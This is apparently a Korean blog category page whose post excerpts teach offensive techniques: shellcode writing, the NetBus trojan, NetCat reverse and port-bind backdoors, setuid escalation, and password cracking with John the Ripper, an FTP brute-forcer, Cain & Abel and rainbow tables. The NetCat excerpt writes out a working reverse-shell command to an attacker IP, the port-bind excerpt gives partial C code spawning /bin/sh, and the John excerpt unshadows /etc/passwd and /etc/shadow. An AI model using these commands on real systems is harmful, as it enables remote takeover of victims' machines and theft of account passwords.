Hacking 31

쉘코드 제작(shellcode)

이전에 만들었던 코드로 계속 진행하겠습니다. 위의 소스 코드는 정적 컴파일을 해야 분석이 용이합니다. (전 게시글 참조) 목적은 write 함수를 쉘코드로 제작하는 게 목적입니다. 그러면 gdb에서 write 함수에 대해 파악하는 것이 필요합니다. write(1,"hacker\n",7); 이 인자들이 있는 곳을 찾아야 합니다. mov가 되는 값들을 한번 살펴볼 필요가 있습니다. 7 write(1,"hacker\n",7); 인자들이 여기에 있다는 것을 확인할 수 있습니다. eax 빼고요 eax는 write의 시스템 콜 넘버입니다. http://asm.sourceforge.net/syscall.html Linux/i386 system calls 00 sys_setup [sys_ni_syscall] 01 sy..

Shellcode (쉘코드) GDB 사용법

쉘코드는 시스템의 명령을 실행할 수 있는 기계어 코드 쉘을 실행시키기 위한 기계어 코드이며 소프트웨어 취약점 이용을 위한 내용부에 사용이 됩니다. exploit는 취약점을 찾아서 원하는 명령을 실행하는 공격입니다. 쉘코드 제작 방법은 C언어로 코딩을 하고 그것을 어셈블리어로 분석하여 어셈블리어와 1:1대응되는 기계어로 제작을 합니다. 간단한 출력 프로그램을 만들어보겠습니다. 컴파일 합니다. strace - 시스템 콜 호출을 추적할 수 있는 프로그램 방금 만든 프로그램을 추적하면 알아보기 어려운 문자들로 나오지만 하단에 printf()와 매치되는 부분이 보입니다. write(1, "hacker\n",7) 이 부분이 출력을 C언어로 만들었던 출력을 위한 부분이라고 볼 수 있습니다. write는 리눅스 sys..

Backdoor - Netbus (트로이목마)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. GUI 형태로 되어있는 원격제어 백도어입니다. 재미있는 (?) 기능이 많이 보입니다. 이 프로그램이 동작하기 위해서 서버 파일을 실행 해야 합니다. patch.exe 파일을 실행하면 12345 포트가 열리게 됩니다. 그리고 patch.exe 파일은 실행하면 아무런 반응이 나오지 않습니다. 공격할 컴퓨터의 아이피 주소를 알고 있어야 합니다. patch.exe가 실행된 컴퓨터의 아이피 주소를 입력하고 connect 버튼을 누르면 접속이 됩니다. 해당 컴퓨터의 cdrom까지 열고 닫을 수 있습니다(!!). 그림 보여주기는 공격당한 컴퓨터에 있는 이미지 파일을 화면에 강제로 띄웁니다. 마우스 바꾸기는 마우스 좌 클릭과 우 ..

Backdoor - NetCat (리버스 텔넷)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. 외부에서 들어오는 포트에 대해 강력하게 통제된 곳에서 이용할 수 있는 방법입니다. 내부에서 외부로 나가는 데에는 통제가 안되어 있는 것을 이용합니다.(방화벽 우회) 공격자는 대기 상태로 유지합니다. 희생자는 공격자의 아이피로 접속을 합니다. 접속하게 되면 희생자의 콘솔 창이 뜨게 됩니다. NetCat 명령어 nc -l -p 5555 -l 대기 상태 -p 포트 nc -e cmd.exe (공격자 ip) (포트 번호) nc -e cmd.exe 111.111.111.111 5555

Backdoor - NetCat(Portbind)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. Portbind는 소켓 통신에 대해 지식이 필요합니다. 소스 코드에 대해 따로 설명을 붙이지 않습니다. #include #include #include #include #include #include int main() { int clientfd,sockfd; int dstport = 12345; char *hack[2]; hack[0] = "/bin/sh"; hack[1] = 0; struct sockaddr_in mysockaddr; 소스코드 생략... 동작원리는 공격받는 컴퓨터에서 특정 포트를 열고 대기하는 상태로 두며 공격자는 외부에서 열린 포트로 접속하게 되면서 관리자 권한을 얻는 원리입니다. 먼저 방화벽을..

Linux Setuid(권한 상승)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. setuid bit 설정은 파일 소유자의 권한으로 실행할 수 있게 합니다. root 관리자의 소유 파일이 이 권한 설정이 되어있다면 관리자 권한을 빌려서 프로그램을 구동할 수 있습니다. setuid는 chmod로 설정할 수 있습니다 setuid = 4000 setgid = 2000 sticky bit = 1000 (공용 디렉터리) 동작 구조는 이렇게 진행됩니다. Real user id(RUID) 프로세스를 시작하는 사용자 결정 Effective user id(EUID) 프로세스에 대한 권한 결정 - (setuid 설정시) Saved user id(SUID) 동작을 다 끝내고 이전 EUID로 돌아오기 위해 EUID를 ..

john the ripper (linux 계정 크래킹)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. http://www.openwall.com/john/ 이 홈페이지에 있는 John the Ripper 1.8.0 (sources, tar.gz, 5.2 MB) 이것을 리눅스로 다운로드한다. 받은 파일을 압축 푼다. tar zxvf john-1.8.0/src로 들어온다 make 명령어를 입력한다. make clean SYSTEM 입력한다. make clean generic 입력한다. (gcc가 깔려 있어야 함) john-1.8.0/run으로 이동한다 ./unshadow /etc/passwd /etc/shadow > mypasswd 한다 관련 정보 http://www.openwall.com/john/doc/EXAMPLE..

Unsecure (FTP 크래킹)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. 사용법 공격할 FTP의 주소, 포트 계정 필요하면 사전 파일 Attack options 사전 공격 무작위 공격 연결이 끊어지면 자동 연결 100번 시도 때마다 자동 저장 Brute force options 패스워드 패턴에 따른 요소 체크 Number of characters to start on 처음 시작할 글자 개수(최소 글자 제한)

Cain & Abel (윈도우 계정 크래킹)

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다. 윈도우 계정 암호화 알고리즘은 ntlm입니다 Cracker 탭으로 이동합니다. 테스트를 하기 위해 윈도우 계정(관리자)을 하나 생성하고 비밀번호를 설정합니다.(간단하게) 저는 hacker 계정을 생성했고 6자리 비밀번호를 설정했습니다. 왼쪽 탭에 여러 가지 해시 알고리즘이 있습니다. 윈도우계정은 ntlm이기 때문에 가장 상단에 있는 목록을 클릭하시고 + 아이콘을 누릅니다. next를 누릅니다. 윈도우에 있는 계정이 표시가 나옵니다. 우리는 생성한 계정을 크래킹 하기 원하기 때문에 생성한 계정에 우 클릭을 합니다. Dictionary Attack 사전 대입 공격 Brute-Force Attack 무작위 대입 공격 Cr..

Rainbow Table 생성 (Winrtgen)

레인보우 테이블 생성하는 프로그램입니다. http://www.oxid.it/projects.html oxid.it www.oxid.it 각종 해시에 대한 테이블을 생성할 수 있습니다. Min Len : 최소 글자 수 Max Len : 최대 글자 수 Chain Len : 체인 길이 Chain Count : 체인 카운트 N˚ of tables : 테이블 개수 조합할 문자 선택 Benchmark 버튼을 누르면 해당 설정에 대한 벤치가 나옵니다. Success probability : 성공률 Total precomputation time : 테이블 생성 완료 시간 성공률이 최소 65프로 이상은 나와야 합니다. 이 성공률을 높이기 위해서 테이블 개수를 증가시킬 수 있습니다. 테이블을 200개로 증가하니 93.94..